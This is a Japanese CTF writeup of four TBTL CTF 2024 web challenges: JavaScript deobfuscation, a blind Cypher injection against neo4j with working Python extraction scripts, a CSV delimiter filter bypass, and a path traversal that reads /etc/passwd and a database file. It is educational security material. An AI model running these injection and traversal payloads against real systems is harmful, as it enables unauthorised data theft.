はまやんはまやんはまやん

hamayanhamayan's blog

TBTL CTF 2024 Writeup

https://ctftime.org/event/2324

[Web] Butterfly

ソースコード無し。アクセスしてみると難読化されたjavascriptが含まれていた。https://obf-io.deobfuscate.io/ に入れてみると比較的読める形になる。IndexedDBが使われていたので、公式ドキュメントを見ながら、見やすいように変名して、重要そうな所を抜粋すると以下のようになる。

indexedDB.deleteDatabase("strangeStorage");
var request = indexedDB.open("strangeStorage", 1);
request.onupgradeneeded = function (event) {
  var db = event.target.result;
  var objectStore = db.createObjectStore("FLAG", {
    "keyPath": 'id',
    "autoIncrement": true
  });
  objectStore.createIndex("letter", "letter", {
    unique: false
  });
};
request.onsuccess = function (event) {
  var db = event.target.result;
  var transaction = db.transaction(["FLAG"], "readwrite");
  var objectStore = transaction.objectStore("FLAG");
  enc = ["UW=(X4s}@(BFLzW1(2}vGpzzgQNy;&L4H??)(5Q+40sB|^/s2bRfBst-x[ELa|VNS)uoYsX3P]`Fx36ClT_HA?rl", [... redacted ...] , '>aA/`=:_6ZhJm)eN;h;L>+~Q^6@RJUtR+H^]Q0kbsMd3c.Sk8{n,J>Hb*bOHnaJ2AdBFnA`MK[v5itlMJw-h|G/='];
  for (const line in enc) {
    var val = enc[line][line].charCodeAt();
    var dec = (val * val + 3 * val + 1 - (val + 1) * (val + 1)) * (2 * (line + 1) / (line + 1)) >> 1;
    objectStore.add({
      'letter': String.fromCharCode(dec)
    });
  }
};
code = atob("Q3J5cHRvSlMuQUVTLmRlY3J5cHQoQ0lQSEVSVEVYVCwgS0VZKS50b1N0cmluZyhDcnlwdG9KUy5lbmMuVXRmOCk=");
localStorage.setItem("execute", JSON.stringify({ "code": code }));
sessionStorage.setItem("KEY", atob("c2VjcmV0IGtleSBpcyB2ZXJ5IHNlY3VyZQ=="));

IndexedDBに入れられているものをまず取り出してみると何かのエンコード物のようなものが手に入る。次に、code部分をbase64デコードすると以下のようなスクリプトだった。

CryptoJS.AES.decrypt(CIPHERTEXT, KEY).toString(CryptoJS.enc.Utf8)

AESでKEYを使って復元してやればよさそう。以下のようにコードを作り実行すると、フラグが得られる。

enc = ["UW=(X4s}@(BFLzW1(2}vGpzzgQNy;&L4H??)(5Q+40sB|^/s2bRfBst-x[ELa|VNS)uoYsX3P]`Fx36ClT_HA?rl", [... redacted ...] ,'>aA/`=:_6ZhJm)eN;h;L>+~Q^6@RJUtR+H^]Q0kbsMd3c.Sk8{n,J>Hb*bOHnaJ2AdBFnA`MK[v5itlMJw-h|G/='];
flag = "";
for (const line in enc) {
    var val = enc[line][line].charCodeAt();
    var dec = (val * val + 3 * val + 1 - (val + 1) * (val + 1)) * (2 * (line + 1) / (line + 1)) >> 1;
    flag += String.fromCharCode(dec);
}

var CryptoJS = require("crypto-js"); // npm install crypto-js
CIPHERTEXT = flag;
KEY = atob("c2VjcmV0IGtleSBpcyB2ZXJ5IHNlY3VyZQ==");
dec = CryptoJS.AES.decrypt(CIPHERTEXT, KEY).toString(CryptoJS.enc.Utf8);
console.log(dec);

[Web] Mexico City Tour

ソースコード有り。DBとしてneo4jが動いており、以下のようにcipherのクエリが作られている。ただ埋め込まれているのでインジェクション可能。Cipher Injectionしよう。

distance_query = f'MATCH (n {{id: {start}}})-[p *bfs]-(m {{id: {end}}}) RETURN size(p) AS distance;'

ということで162をstartStationにして、145}) RETURN 1337 AS distance; //をendに入れてみると1337が出てきた。うまくいっていますね。結果は数値でしか取得できないので、(文字を数値に変換して抜けそうではあるが…)ブラインドで使えそうなクエリを探していこう。

145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) where a.title = '' or 3 <= size(keys(a)) return 1 AS distance; //
-> 1
145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) where a.title = '' or 4 <= size(keys(a)) return 1 AS distance; //
-> unknown

いろいろみながら試すとこのような感じでブラインドで抜き取りできそうな式ができた。これを使って、以下のようにカラムを抜いてみる。

import requests
import time
BASE = 'http://ctf.dev.tbtl.io:8001/'
DIC = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}_'

def test(payload):
    t = requests.post(BASE + 'search', data={'startStation':'162','endStation':payload}).text
    time.sleep(1)
    return 'unknown' not in t

# Find the size of columns
ok = 0
ng = 256
while ok + 1 != ng:
    md = (ok + ng) // 2
    if test("145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) where " + str(md) + " <= size(keys(a)) return 1 AS distance; //"):
        ok = md
    else:
        ng = md

size_of_columns = ok
print(f"The size of columns is {size_of_columns}")

# Find the column
for i in range(size_of_columns):
    ok = 0
    ng = 256
    while ok + 1 != ng:
        md = (ok + ng) // 2
        if test("145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) where " + str(md) + " <= size(keys(a)[" + str(i) + "]) return 1 AS distance; //"):
            ok = md
        else:
            ng = md

    length = ok
    print(f"The length of column {i} is {length}")

    key = ''
    for j in range(length):
        for c in DIC:
            if test("145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) where substring(keys(a)[" + str(i) + "],"+ str(j) + ",1)='" + c + "' return 1 AS distance; //"):
                key += c
                print(key)
                break

実行すると…

$ python3 solver.py 
The size of columns is 3
The length of column 0 is 2
i
id
The length of column 1 is 4
n
na
nam
name
The length of column 2 is 4
f
fl
fla
flag

flagカラムがあるようです。試しに145}) WHERE 1=0 RETURN -1 AS distance UNION MATCH (b) WHERE 0 < size(b.flag) RETURN b.id AS distance; //とすると-1が帰ってきました。かなりそれっぽい。145}) WHERE 1=0 RETURN -1 AS distance UNION MATCH (b) WHERE b.id = -1 RETURN size(b.flag) AS distance; //とすると30と出てきたので30文字のようです。同様にブラインドで持ってきましょう。以下のスクリプトでフラグが得られる。

import requests
import time
BASE = 'http://[redacted]/'
DIC = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_'

def test(payload):
    t = requests.post(BASE + 'search', data={'startStation':'162','endStation':payload}).text
    time.sleep(1)
    return 'unknown' not in t

flag = 'TBTL{wh3R3_15_mY_'
for i in range(len(flag), 30):
    for c in DIC:
        print(f"testing... {flag}{c}")
        if test("145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) WHERE a.id = -1 AND substring(a.flag,"+ str(i) + ",1)='" + c + "' return 1 AS distance; //"):
            flag += c
            print(f"found!!!!!!!!!! {flag}")
            break

[Web] Rnd For Data Science

ソースコード有り。以下のような構成になっている。

        ┌────────┐   ┌──────────────────┐
 ──────►│        ├──►│                  │
        │ app.py │   │ generator_app.py │
 ◄──────┤        │◄──┤                  │
        └────────┘   └──────────────────┘

まず、generator_app.pyは以下。

@app.route("/", methods=['POST'])
def index():
    delimiter = request.form['delimiter']

    if len(delimiter) > 1:
        return 'ERROR'

    num_columns = int(request.form['numColumns'])
    if num_columns > 10:
        return 'ERROR'

    headers = ['id'] + [request.form["columnName" + str(i)] for i in range(num_columns)]

    forb_list = ['and', 'or', 'not']

    for header in headers:
        if len(header) > 120:
            return 'ERROR'
        for c in '\'"!@':
            if c in header:
                return 'ERROR'
        for forb_word in forb_list:
            if forb_word in header:
                return 'ERROR'

    csv_file = delimiter.join(headers)

    for i in range(10):
        row = [str(i)] + [str(rnd.randint(0, 100)) for _ in range(num_columns)]
        csv_file += '\n' + delimiter.join(row)

    row = [str('NaN')] + ['FLAG'] + [flag] + [str(0) for _ in range(num_columns)]
    csv_file += '\n' + delimiter.join(row[:len(headers)])

    return csv_file

適当にデータを作り、末尾にFLAGを追加している。numColumns=2&columnName0=a&columnName1=b&delimiter=%2Cというリクエストを送ると、以下のように帰ってくる。

id,a,b
0.0,61,32
1.0,99,5
2.0,40,83
3.0,94,58
4.0,23,54
5.0,64,56
6.0,36,32
7.0,51,30
8.0,94,77
9.0,71,78
NaN,FLAG,フラグ

しかし、app.py側で以下のようにフラグを削除している。

# Filter out secrets
first = list(df.columns.values)[1]
df = df.query(f'{first} != "FLAG"')

2行目がFLAGのものを見つけてきているので、delimiterを_とかにして1行に全部入れ込む方法を考えてみよう。つまり、numColumns=2&columnName0=a&columnName1=b&delimiter=_としてみる。すると500応答が帰ってきた。これは上記のフィルタリング処理で[1]と指定しているため添え字エラーになるため。

なので、,は入れてやる必要がありそうだが…と考えると、最初のカラム名,を含めればいい感じになるのでは?ということで以下のようにしてやるとフィルタリング回避できた。

POST /generate HTTP/1.1
Host: tbtl-rnd-for-data-science.chals.io
Content-Length: 54
Content-Type: application/x-www-form-urlencoded
Connection: close

numColumns=2&columnName0=,a&columnName1=,b&delimiter=_


HTTP/1.1 200 OK
Server: Werkzeug/3.0.2 Python/3.8.17
Date: Sat, 11 May 2024 02:25:59 GMT
Content-Disposition: inline; filename=data.csv
Content-Type: text/csv; charset=utf-8
Content-Length: 182
Cache-Control: no-cache
Connection: close

"id_"_"a_"_b
"0_100_9"__
"1_21_54"__
"2_71_31"__
"3_33_60"__
"4_9_80"__
"5_44_18"__
"6_64_59"__
"7_11_79"__
"8_53_3"__
"9_71_53"__
"NaN_FLAG_TBTL{■■■■■■■■■■■■■■■■■■■}"__

カラム部分が["id",",a",",b"]_で結合されて、id_,a_,bとなるため、良い感じにカラム数を演出できる。

[Web] Talk To You

ソースコード無し。サイトを巡回するとGET /?page=offer.htmlという通信が発生していた。LFIというかパストラバーサルっぽい。

とりあえずGET /?page=../etc/passwdしてみるといつものが得られた。色々guessするとGET /?page=../flag.txtで以下のように応答がある。

Flag is in SQLite3: database.sqlite

ということでGET /?page=database.sqliteすると文字化けするが中身が見られてフラグが得られる。